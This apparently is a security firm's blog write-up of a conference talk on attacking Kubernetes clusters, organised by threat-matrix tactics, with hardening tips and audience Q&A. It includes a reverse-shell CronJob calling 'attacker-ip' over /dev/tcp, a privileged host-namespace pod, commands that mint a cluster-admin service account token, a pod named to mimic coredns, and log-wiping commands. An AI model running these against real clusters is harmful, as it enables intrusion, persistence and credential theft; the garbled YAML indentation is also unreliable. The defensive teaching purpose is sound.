DeveloperWeek Europe 2021 - Walkthrough of the Talk slides and Audience Questions

Posted by
Riyaz Walikar
on
April 29, 2021
· 15 min read

Note: This talk, presented at DeveloperWeek Europe 2021, is identical to the one presented at the KubeSec Enterprise Online conference. The talk at DeveloperWeek Europe, however had some interesting questions come in through the chat whose answers have been expanded and added here.

Background

The idea for the talk came via a discussion we had internally at Kloudle when brainstorming on the different approaches that an attacker would use in an attempt to gain access to a Kubernetes cluster and what they would do when they have "Attacker in a Pod" level access.

Some of the questions we posed to each other were

  • What does an organization think it exposes to the Internet and what it actually exposes
  • What tactics and techniques do attackers use to gain access to a Kubernetes cluster
  • What can a cluster administrator do to prevent attackers from reaching their cluster or slow them down if they do gain access

We imagined an attacker employing different tactics and techniques when attacking a Kubernetes cluster and created this talk with real world examples to support our story.

Here are all the slides from the DeveloperWeek Europe 2021 talk presented virtually on 27th April 2021.

MITRE ATT&CK Threat Matrix

MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. They have published multiple Threat Matrices for various technology verticals which are used globally to describe attacker Tactics, Techniques and Procedures

The Threat Matrix describes Tactics, Techniques and Procedures (TTPs) for technologies like Windows, Linux, AWS, GCP, Azure, Android, iOS etc. and can be used by both offensive security folks to plan test cases and defenders to identify attack paths that the bad guys will take.

The talk was heavily based on the Kubernetes MITRE ATT&CK like Threat Matrix that Microsoft has created.

Microsoft Kubernetes Threat Matrix

For each of the Tactic that the Threat Matrix covers, we took examples from real world assessments, breaches, proof of concept setups and real world configurations and mapped them to the framework.

We have covered the Kubernetes ATT&CK framework extensively via a 9 part blog series, which you can start here - Part 1: Mpping the MITRE ATT&CK framework to your Kubernetes cluster: Initial Access.

The presentation contains additional information and real world data that was not covered in the blog posts.

Initial Access: Exposed Dashboard

The Exposed Dashboard is a technique covered under Initial Access that covers the exposure of the Kubernetes dashboard (not installed by default) to the attacker. If accessible to the attacker, this allows for potential cluster management and configuration updates.

Initial Access - Exposed Dashboard

The screenshot shown in the slide is of a Kubernetes Dashboard belonging to Tesla which was discovered by a security company. The discovery led to another startling discovery where the Kubernetes cluster was found to be running crypto-mining workloads as the attackers had already made their way to the Impact Tactic of the Threat Matrix.

Initial Access: Application Vulnerability

This slide is another example of a technique that attackers often use, especially if the cluster exposes workloads to the attacker via services. An application running within the cluster and exposed to the attacker, if vulnerable, could lead to the attacker gaining file read/write capabilities, ability to make server-side network requests or the ability to execute arbitrary commands.

Application Vulnerability - Shopify SSRF HackerOne bug

Initial Access

There are multiple other techniques covered in the Threat Matrix, some of which are explained below

Initial Access

Execution: New container

The next Tactic covers techniques that describe what attackers do to execute code. The example that we covered was the launch of a new container. In this case, the container was a privileged container that allows access to the underlying nodes network and process namespaces.

Execution New Container

The Pod yaml shown in the slide is given here and can be used to launch a new privileged container within Kubernetes

apiVersion: v1
kind
: Pod
metadata
:
name: coredns-74ff55c5b-a932b
 labels
:
app: coredns-74ff55c5b-a932b
spec
:
containers:
 - image: coredns-74ff55c5b-a932b
   command
:
     - "sleep"
     - "3600"
imagePullPolicy: IfNotPresent
   name
: coredns-74ff55c5b-a932b
   securityContext
:
capabilities:
add: ["NET_RAW", "NET_ADMIN", "SYS_ADMIN"]
runAsUser: 0
restartPolicy: Never
 hostNetwork
: true
hostPID: true
hostIPC: true

Execution

Other techniques within Execution tactic include exec'ing into an existing container, an application vulnerability that results in a shell or code execution at the OS level or rarely gaining access to a SSH server running inside a container.

Execution Techniques

Persistence: Kubernetes Cronjobs

The next Tactic covers techniques that allow the attacker to "persist" within the target cluster. Although not exhaustive, the techniques covered here do allow an attacker to plant their feet within the cluster and use the new setup access to continue working within the cluster.

Kubernetes Cronjob that returns a reverse shell

The example that was covered in the slides was the usage of a Kubernetes Cronjob that will at periodic intervals attempt to send a reverse shell to the attacker IP.

The following yaml was used to create the Kubernetes cronjob that would give you a reverse shell every minute. So if a connection drops or the shell is killed, a new shell will be connected at the end of a minute.

Replace the <attacker-ip> with the IP address where netcat is listening on port 9091. You can change the port number as well if you would like.

apiVersion: batch/v1beta1
kind
: CronJob
metadata
:
     name: jobshell
spec
:
     schedule: "*/1 * * * *"
     jobTemplate:
           spec:
                 template:
                       spec:
                            containers:
                       - name: coredns-74ff55c5b-a932b
                            image
: coredns-74ff55c5b-a932b
                            imagePullPolicy
: IfNotPresent
                            command
:
                       - bash
                           
- -c
                           
- "bash -i >& /dev/tcp/attacker-ip/9091 0>&1"
                           restartPolicy: OnFailure

Persistence

Attackers can use various other techniques to remain hidden within the cluster, some other techniques are highlighted in the next slide.

Persistence in Kubernetes

Once attackers have gained code execution capabilities, attacker can choose to persist by performing out of band attacks as well like adding an SSH key to the underlying host, create shadow admin users and roles, update app code to provide shell access to containers, reuse secrets and tokens from Secrets and ConfigMaps or add a backdoor binary to running containers after gaining exec.

In my Opinion, attackers like to persist in most networks for the thrill of seeing how long it takes for owners to boot them out, to use the network as a means of a further attack/abuse or as a symbolic trophy in their "pwned" collection.

Privilege Escalation: Cluster-admin binding

The next Tactic is that of Privilege Escalation. Attackers are constantly on the lookout for mis-configurations, overly permissive policies or credentials that can help them impersonate another user, or even better a higher privilege user.

The example that we covered was that of Cluster-admin binding. In Kubernetes, a cluster-admin has the ability to administer the entire cluster and is considered to be the highest privilege user. The cluster-admin clusterrolebinding is used to map a user to the cluster-admin clusterrole privilege.

Privilege Escalation using cluster-admin binding

We enumerate all users to whom a clusterrolebinding is bound and look at the one's that have the cluster-admin clusterrole using the following command

kubectl get clusterrolebindings -o=custom-columns=NAME:.metadata.name,BINDING:.roleRef.name --sort-by=.roleRef.name

An attacker can then choose to discover the token for the listed clusterroles or attempt to create a new serviceaccount that will have the clusterrolebinding bound to it.

The following set of commands is used to create a serviceaccount called cluster-sa in the kube-system namespace and then bind it to a cluster-admin clusterrolebinding.

kubectl -n kube-system create serviceaccount cluster-sa
kubectl create clusterrolebinding cluster-sa --clusterrole cluster-admin --serviceaccount=kube-system:cluster-sa
SECRET=$(kubectl get sa cluster-sa -n kube-system -o jsonpath={.secrets[].name})
kubectl get secret $SECRET -n kube-system -o jsonpath={.data.token} | base64 -d

An administrative API request can be made to the API server using the obtained JWT token.

Privilege Escalation

To be able to ensure they remain stealthy, inflict maximum damage, access protected resources or to even evade defenses, escalation to a user with higher privileges is a sure way of completing attacker objectives.

Privilege Escalation

Some other commonly applied techniques are the reading and reuse of credential information, using the mapped service token mounted at /run/secrets/kubernetes.io/serviceaccount/token, identifying privileged containers to gain access to underlying nodes and the leaking of secrets through metadata endpoint and cloud platform service accounts.

Defence Evasion: Pod name similarity

This tactic comes into play when attackers are attempting to hide their presence and malicious activity within the cluster.

The example that we covered was that of a non-destructive technique in which attackers choose to use the naming convention of legitimate workloads to create malicious pods that have similar sounding names.

Defence Evasion Pod name similarity

In the yaml that was shown on the slide had a name that was very similar to the naming convention of the coredns deployment within the kube-system namespace.

apiVersion: v1
kind
: Pod
metadata
:
name: coredns-74ff55c5b-a932b
 namespace
: kube-system
 labels
:
app: coredns-74ff55c5b-a932b
spec
:
containers:
 - image: ubuntu
   command
:
     - "sleep"
     - "3600"
imagePullPolicy: IfNotPresent
   name
: ubuntu
   securityContext
:
capabilities:
add: ["NET_RAW", "NET_ADMIN", "SYS_ADMIN"]
runAsUser: 0
restartPolicy: Never
 hostNetwork
: true
hostPID: true
hostIPC: true

The yaml can be updated to reflect an existing deployment to hide in plain sight.

Defence Evasion

The techniques covered under this tactic can be destructive as the attacker may simply choose to wipe all log information about their activities within the cluster.

Defence Evasion

For example, an attacker can perform destructive actions to clear all pod logs by deleting the contents of /var/log/pods or clear Kubernetes events using kubectl delete events -all.

Credential Access: Container service account

Credential Access Tactic allows attackers to identify additional credentials, keys and tokens that can be misused to move laterally within the cluster or to attempt to breakout to the underlying infrastructure, be it the underlying node or the cloud platform itself.

The example that we covered from the various techniques under this tactic was the usage of the container service account mounted in each container (unless explicitly directed not to do so).

Credential Access - Container service account

In the screenshot within the slide, an attempt is being made to access the Kubernetes API server from within a pod using the cURL command - curl https://kubernetes/api/v1 --insecure, without success.

However, when the token extracted from the mount point within the pod is used as an Authorization bearer token, the API responds to requests as the authentication requirement has now been met.

Credential Access

Most attackers will try and identify alternate regions, resources and networks that they can gain access to from their vantage point once they are within the cluster.

Credential Access Other Techniques

Attackers try to read and reuse secrets from the Kubernetes secrets store, service principal mounted for the cloud platform, the mount point token (whose example we saw earlier) and app credentials, tokens and keys from configMaps and pod descriptions.

Discovery: Instance Metadata API

The Discovery tactic covers techniques used by attackers to gather additional information from their vantage point once privilege escalation and credential access is completed.

In my opinion, the Discovery tactic is covered too late within the Threat Matrix as most attackers would perform discovery based scans, attempts to identify access etc. pretty early on in the attack chain.

The example technique that was covered in the talk was the access to the Instance Metadata API. Although, the screenshot shows the access to an Azure instance metadata endpoint, the technique is applicable to all cloud platforms.

Discovery Instance metadata API endpoint

Different instance metadata endpoints reveal different pieces of information depending on the cloud platform on which they are running.

Discovery

To find additional resources that attackers can reach and exploit, various combination of techniques, some of them already covered are executed.

Discovery Tactic

These include access to the Kubernetes API server, Kubelet REST API on ports 10250 and 10255, network service discovery using tools like Nmap, additional resource information obtained via access to the Kubernetes Dashboard and access to the cloud platform via credentials leaked within the cluster or via the Instance metadata endpoint.

Lateral Movement: Dashboard Access

The Lateral Movement tactic covers techniques that attackers use to move laterally to a different resource or escape the cluster into the cloud platform itself.

Lateral Movement - Dashboard Access

The example we covered was the access to the Kubernetes dashboard that allows an attacker to move to any container within the cluster (based on access) and from there moving on to the underlying node or the cloud platform via privileged pods, service principals and instance metadata credentials.

Lateral Movement

All the techniques covered under the Lateral Movement tactic have been covered under various other tactics so far, except the Helm Tiller endpoint technique.

Lateral Movement

Older versions of Helm (up to v2) had a server side component called Tiller which exposed an API endpoint that could be accessed without authentication on port 44134. This could be used to make a request to install resources using the helm client as shown below

  • helm --host tiller-deploy.kube-system:44134 install <packagename>

Impact: Resource Hijacking

The last tactic in the Kubernetes Threat Matrix is the Impact tactic. The techniques covered under here simply describe the actions that an attacker takes that describe the attacker's objectives.

Impact: Resource Hijacking

In the example covered in the talk, we looked at a screenshot of the Kubernetes Dashboard which showed the hijacking of a cluster belonging to Tesla to run cryptomining workloads.

Impact

The techniques under the Impact tactic are used to describe the final objective of an attacker in the attack chain.

Impact slide

Some of the documented techniques include data destruction by rolling back deployments, deleting volumes and claims, altering the state of the cluster to create a Denial of Service condition (remove or alteration of configuration data for example).

Tips and Tricks to secure your cluster

The last leg of the talk covers tips and hardening tricks that can be employed to reduce the cluster's attack surface and improve the attack repelling capabilities of the components.

Tips and Tricks to Harden and Secure a Kubernetes cluster

Quick things to note

  1. Keep Kubernetes updated, including core components, API server, etcd etc. Ensure that any new updates, especially security updates are applied. Patch test before you update the core components.
  2. Restrict SSH access to the nodes to only trusted IP addresses. Setup a jumpbox from which the nodes are accessible. Hide SSH for all other sources using the cloud platform's Security Group or in case of standalone servers, using local iptable rules.
  3. Use Kubernetes NetworkPolicies judiciously, allow only what is required with a default deny otherwise. Create an elaborate access map of the services within your cluster and use NetworkPolicies to hide other services.
  4. Audit roles and bindings, serviceaccounts, IAM access, look for shadow admins, use RBAC judiciously. Periodically, review and remove users, roles and bindings within the cluster.
  5. Scan images in your pipeline using tools like Trivy to identify vulnerabilities that may become potential hazards. Image scanning has become a mainstream concept now. Run vulnerability scans for images in the pipeline or as a separate activity.
  6. Remove deployments that are no longer required. Unused deployments can linger and may provide unwanted access to resources. In the case of privileged pods, a deployment may result in privilege escalation.
  7. Run pods with a security context and a defined user, say no to root. Using a root user for everyday workloads must be avoided, else an attacker can abuse the access already available to move to a different part of the cluster.
Tips and Tricks to Harden and Secure a Kubernetes cluster
  1. Use namespaces to create logical segregation of resources. Logical segregation allows for easy monitoring, maintaining and troubleshooting of resources.
  2. Do not store secrets in environment variables, in pod description or configMaps. Secrets in these locations can easily be read by an attacker in the event of a cluster compromise. Additionally, the official documentation of Kubernetes asks users to not store secrets within these resources but instead using the Kubernetes secret store or a Vault program.
  3. Ensure minimum visibility from the outside. The less the attacker can see, the more difficult to attack it is for the attackers to discover services to attack.
  4. Take application security into consideration, practice defense in depth. Application vulnerabilities can lead the attacker directly into a pod from where the attacker can launch other attacks or steal data.
  5. Be wary of suspicious looking outbound traffic. Monitor egress to identify any tell-a-tale signs of a breach within your cluster.
  6. Use a hardening guideline like the CIS Kubernetes benchmark and tools like kube-bench to identify potential misconfigurations. This will also help your cluster stay compliant.
  7. Monitor and create an actionable roadmap into what your cluster is doing, who has access, what kind of access, what privileges are different components running, where are the logs going, what privileges does the IAM user have etc. Review this roadmap periodically for changes due to business decisions or the introduction of new configuration or software.

Audience Q&A

The following questions were asked by the audience during the talk. Some of the questions have been expanded to add more context.

Q1: Is Kubernetes vulnerable to any issues which have been assigned CVEs?

Short answer, yes.

Long answer, Kubernetes has a lot of moving parts and it is not by itself a single process. Vulnerabilities have been discovered in the past, affecting the parts within Kubernetes, the container runtime, the networking components etc.

For example, we wrote about CVE-2020-15257 and how may potentially impact docker and Kubernetes when it was announced last year.

You can use the CVE details page to see a list of CVEs that have been assigned to Kubernetes (or components) here

Q2: How to find open Kubernetes unauthenticated end points?

Kubernetes has an API endpoint that is exposed on port 6443 or 443 based on variations of Kubernetes across different platforms. You can even change this port by supplying --secure-port <value> to the kube-apiserver. By additionally supplying --anonymous-auth=true you can enable anonymous requests to API server. Anonymous requests have a username of system:anonymous, and a group name of system:unauthenticated. But for these requests to succeed, none of the numerous authentication methods that Kubernetes supports must be enabled.

In any case, making an API request to an endpoint that would otherwise return a 403 Forbidden HTTP status code should be a good way to check if the API server is accepting unauthenticated requests. You can do this by using the following cURL example:

curl -k https://<server-ip-address>:<port-num>/api/

Kubernetes API access with token and without token


You can read more about the different modes of authentication in Kubernetes here - https://kubernetes.io/docs/reference/access-authn-authz/authentication/

Q3: How to know whether target is running Kubernetes or not and how to distinguish target is using AKS or other managed Kubernetes?

This is an interesting one. Purely from an attacker's perspective from the outside how do you know the target endpoint is Kubernetes. Like any other HTTP based service, Kubernetes also has some tell-a-tale signs, information that is leaked in response headers for example that could point to the target being a Kubernetes API endpoint.

For example, every HTTP response from an API server with the priority and fairness feature enabled has two extra headers: X-Kubernetes-PF-FlowSchema-UID and X-Kubernetes-PF-PriorityLevel-UID.

Kubernetes API Headers

Additionally, for an application running in Kubernetes there is no easy way to determine underlying host unless you have the ability to execute a server side request or a shell command on the host running the app.

To identify managed Kubernetes, you can check the A record or CNAME of the hostname of the HTTP endpoint. There are also IP ranges published by all major cloud platforms. Checking for the PTR record for an IP address after obtaining its A record may also point to the hostname and give away information whether is a managed kubernetes cluster or not.

Q4: How should someone perform an internal audit of Kubernetes resources for an organization? Are there any tools which do most of these tasks automatically?

The MITRE ATT&CK based threat matrix that was shown during the presentation is very context driven. Based on what is discovered, the next step in progression is identified, researched and executed.

There are tools available that can be used to identify common misconfigurations though like kube-bench, kube-hunter and kubeaudit etc.

Q5: It is not possible to attack Kubernetes directly, right ? What is covered in the slides is all post escalation, isn't it?

Like any system with an exposed interface, it is possible to attack Kubernetes directly. Also the term "post exploitation" needs to be anchored to where "exploitation" has actually occurred. For example, if you have got a reverse shell to a machine and that was your objective then everything before the shell was "pre-exploitation" and everything after is "post exploitation". However, if shell was only a means to gain access to a database server running on an internal network, then the description changes.

Similarly, the Threat Matrix describes Tactics and Techniques that can be used to attack Kubernetes, however, the pre and post exploitation is defined by context of what you set out to do with the target cluster.

Conclusion

Understanding how attackers move across different tactics using the Threat Matrix as a reference gives us a clear picture of what to expect when they do come calling. In the talk we covered examples of multiple techniques that attackers use in the real world to go from Initial Access, all the way to the Impact tactic for a Kubernetes cluster.

Kubernetes has a lot of moving parts. Every layer, plugin, app and configuration needs to be secured if you want the overall system to remain functionally secure.

More Articles

An Attacker's Approach to Pentesting IBM Cloud - fwd:cloudsec 2021
Posted by
Riyaz Walikar
on
September 14, 2021

Slides of the talk presented at fwd:cloudsec 2021, titled - "An Attacker's Approach to Pentesting IBM Cloud". The talk contains examples of attack vectors, interesting things in IBM Cloud and future work to improve documentation.

Read More
Kloudle is a BlackHat USA 2021 Sponsor
Posted by
Akash Mahajan
on
August 4, 2021

From being trainers at BlackHat to sponsoring at the conference. A bit about our journey in brief.

Read More
You do not want to miss these talks at Black Hat USA!
Posted by
Riyaz Walikar
on
August 3, 2021

A list of talks in the Cloud Security and Platform domain that we have added to our must watch list of talks as the sheer number of sessions at the Black Hat briefings can be overwhelming!

Read More

Ready to give Kloudle a try?

We help you monitor and prevent any data breaches.

Let's Talk